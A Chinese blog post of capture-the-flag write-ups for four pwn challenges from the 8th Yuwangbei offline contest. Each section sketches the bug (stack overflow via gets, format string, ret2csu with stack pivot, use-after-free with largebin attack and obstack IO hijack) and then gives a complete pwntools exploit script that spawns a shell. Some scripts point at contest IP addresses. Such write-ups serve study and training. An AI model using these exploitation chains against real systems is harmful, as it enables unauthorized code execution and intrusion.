第八届御网杯线下赛Pwn方向题解

由于最近比赛有点多,而且赶上招新,导致原本应该及时总结的比赛搁置了,总结来说还是得多练,因为时间很短像这种线下赛,一般只有几个小时,所以思路一定要清晰,我还是经验太少了,导致比赛力不从心,先鸽了~

Skill

checksec 检查保护(没有开PIE和Canary)

img

ida逆向分析一下

不同的选项对应不同的功能

img

漏洞存在show函数里面,当满足情况时候就会执行gets实现溢出

img

那么在add的时候使情况满足,然后ret2libc即可

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from gt import *

con("amd64")

#io = process("./skill")
io = remote("3.1.26.5","9999")
skills = 0x6020E0
libc = ELF("/home/su/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
def add(skill):
io.sendlineafter("exit",'1')
io.sendlineafter("skill:",skill)


def dell():
io.sendlineafter("exit",'2')

def list():
io.sendlineafter("exit",'3')

def start():
io.sendlineafter("exit",'4')


payload = b"song" +b"\x00"*16 +b"jump"
payload +=b"\x00"*16+ b"rap" +b"\x00"*17+b"NBA"
add(payload)
#io.recvuntil("exit")
#io.sendlineafter("5.",'1')
pop_rdi =0x0000000000400c83#: pop rdi; ret;
puts_plt = 0x400710
puts_got = 0x602020
start()
payload = b'a'*0x18 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4008B6)
#gdb.attach(io)
io.recvuntil("music~")
io.sendline(payload)
io.recv(1)
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
suc("libc_base",libc_base)
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))

start()
payload= b'a'*0x18 + p64(pop_rdi+1) + p64(pop_rdi)+ p64(binsh) + p64(system) + p64(0x400B61)
#io.sendline(payload)
#io.sendline(payload)

io.recvuntil("music~")
io.sendline(payload)
io.interactive()

wir

这个题目我记不清了大概是这个缩写

保护策略(无PIE,Canary)

img

程序存在溢出

img

而且存在后门

img

但是比赛的时候没有用到

img

因为这里存在格式化字符串漏洞而且是通过main函数返回的,因此可以直接修改返回地址为gadget

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
con("amd64")
#io = process("./pwn1")
io = remote("3.1.26.8","9999")
libc = ELF("./libc.so.6")
#libcc =ELF("/lib/x86_64-linux-gnu/libc.so.6")
io.recvuntil("name")
#gdb.attach(io)
io.send("%3$p")
io.recv(1)
libc_base = int(io.recv(14),16) - 18 - libc.sym["read"]
suc("libc_base",libc_base)
one = libc_base +0x1075aa
#suc("one",one)
one1 = one & 0xffffffff
io.recvuntil("out")
payload = p64(0x404038)+b'a'*0x8+ p64(0x404038) + p32(one1)#+ p64(0x40121B)
#gdb.attach(io)
io.send(payload)

##io.recvuntil("")
#pause()
#io.send(p64(one))


io.interactive()

calc

保护策略(无PIE,Canary)

img

程序上来有一个随机数绕过

img

可以通过00截断绕过

然后进入漏洞函数,溢出长度我们可以自己输入

但是不能使用libc里面的地址

img

但是可以通过ret2csu来实现函数调用一个read,然后再次读入数据栈迁移,getshell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from gt import *

con("amd64")

#io = process("./calc")
libc = ELF("./libc-2.31.so")
i = 0

while 1:
io = process("./calc")
io.sendlineafter("name: ","admin\x00")
io.recvuntil("password: \n")
#sleep(0.1)
io.send(b"\x00"*0x10)
msg = io.recv(11)
msg = msg.decode("utf-8")
if "Wrong" not in msg:
break
else:
print("------->",i)
i = i+1
io.close()
continue



pop_rdi = 0x00000000004015c3 #: pop rdi ; ret
puts_plt = 0x4010D0
puts_got = 0x404018
pop_rbp = 0x000000000040123d #: pop rbp ; ret
bss = 0x4040A0 + 0x800
length = str(35+8-1)
csu1 = 0x4015BA
csu2 = 0x4015A0

#gdb.attach(io)
io.sendline(length)
for i in range(17):
io.sendline(str(200))

#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.sendline(str(length))
io.recvuntil(":")
io.sendline(str(19))
io.recvuntil(":")
io.sendline(str(0xdeadbeef))
#gdb.attach(io)

#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(pop_rdi))
io.recvuntil(":")
io.sendline(str(puts_got))
io.recvuntil(":")
io.sendline(str(puts_plt))
io.recvuntil(":")
io.sendline(str(csu1))
io.recvuntil(":")
io.sendline(str(0))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(0))
io.recvuntil(":")
io.sendline(str(bss))
io.recvuntil(":")
io.sendline(str(0x200))
io.recvuntil(":")
io.sendline(str(0x404038))
io.recvuntil(":")
io.sendline(str(csu2))
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(1))
io.recvuntil(":")
io.sendline(str(pop_rbp))
io.recvuntil(":")
io.sendline(str(bss-8))
#gdb.attach(io)
io.recvuntil(":")
io.sendline(str(0x401559))
#gdb.attach(io)
io.recvuntil("\n")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - libc.sym["puts"]
suc("libc_base",libc_base)
pause()
gdb.attach(io)
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search("/bin/sh"))
payload = p64(pop_rdi)+ p64(binsh) + p64(system)
io.send(payload)

io.interactive()

Gift

保护策略(全开)

img

程序使用的c++的std::cin和std::cout,所以看起来比较抽象

程序把add能申请的范围划分了3种,0x7f-0x14f ,0x14f-0x24f 0x24f-0x4ff

而且程序存在UAF

img

因此泄露地址什么的比较容易

程序还有一个限制

img

当这个地址里面的值大于等于这个值才行,这个值其实是一开始申请的堆块

img

可以通过largebin attack错位来使条件满足实现IO通过exit函数返回,进而劫持程序执行流,这里使用的是obstack,当然别的IO_house也可以,因为没有开启沙箱,所以劫持程序流可以直接getshell

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from gt import *
con("amd64")

io = process("./gift")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add1(size):
io.sendlineafter(">> ","1")
io.sendlineafter("3. Gf3~","1")
io.sendlineafter(" Gf1:",str(size))


def add2(size):
io.sendlineafter(">> ","1")
io.sendlineafter("3. Gf3~","2")
io.sendlineafter(" Gf2:",str(size))

def add3(size):
io.sendlineafter(">> ","1")
io.sendlineafter("3. Gf3~","3")
io.sendlineafter(" Gf3:",str(size))



def free(index):
io.sendlineafter(">> ","2")
io.sendlineafter("someone:",str(index))


def show(index):
io.sendlineafter(">> ","3")
io.sendlineafter("gift:",str(index))


def edit(index,msg):
io.sendlineafter(">> ","4")
io.sendlineafter("gift:",str(index))
io.sendlineafter(":",msg)



add3(0x420)
add3(0x420)
free(0)
show(0)
#gdb.attach(io)
io.recvuntil("content:")
libc_base = u64(io.recv(6).ljust(8,b'\x00')) -96 - 0x10 -libc.sym["__malloc_hook"]
suc("libc_base",libc_base)
free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
list_all = libc_base + libc.sym["_IO_list_all"]
stdout = libc_base + libc.sym["stdout"]
suc("stdout",stdout)
add1(0x80) #2
add1(0x80) #3
free(2)
free(3)

show(3)
io.recvuntil("content:")
heap_base = u64(io.recv(6).ljust(8,b'\x00'))-0x11ed0
suc("heap_base",heap_base)

add3(0x300) #4

add3(0x440) #5
add3(0x430) #6
add3(0x430) #7
free(5)
add3(0x450) #8
free(7)
binsh = libc_base + next(libc.search("/bin/sh"))
_IO_obstack_jumps = libc_base + 0x1e9260#libc.sym["_IO_obstack_jumps"]
suc("_IO_obstack_jumps",_IO_obstack_jumps)
fake_io_addr = heap_base + 0x12fb0

payload = flat(
{
0x8:1,
0x10:0,
0x18:1,
0x20:0,
0x28:system,
0x38:binsh,
0x40:1,
0xc8:_IO_obstack_jumps+0x20,
0xd0:fake_io_addr,
},
filler = '\x00'
)

edit(5,p64(fake_io_addr)*3+p64(list_all-0x20))#+ 0x1ed708-0x20))


add3(0x460) #9
edit(7,payload)

add3(0x490) #10
add3(0x480) #11
add3(0x480) #12
free(10)
add3(0x4a0) #13
free(12)
chunk = heap_base + 0x11ea0+0x10
suc("chunk",chunk)
#gdb.attach(io)
#pause()
edit(10,p64(heap_base+0x145f0)*2+p64(0x1ecff0+libc_base)+p64(chunk-0x20+1))
#gdb.attach(io)
#pause()
add3(0x4a0) #14

gdb.attach(io)
pause()
io.sendlineafter(">> ","6")

io.interactive()

后续一些比赛的PWN的附件我会放在一个github的一个新建的库,如果有需要可以随机下载

https://github.com/CH13hh/CH13hh.github.io


第八届御网杯线下赛Pwn方向题解
https://ch13hh.github.io/2024/11/01/第八届御网杯线下赛Pwn方向题解/
发布于
2024年11月1日
许可协议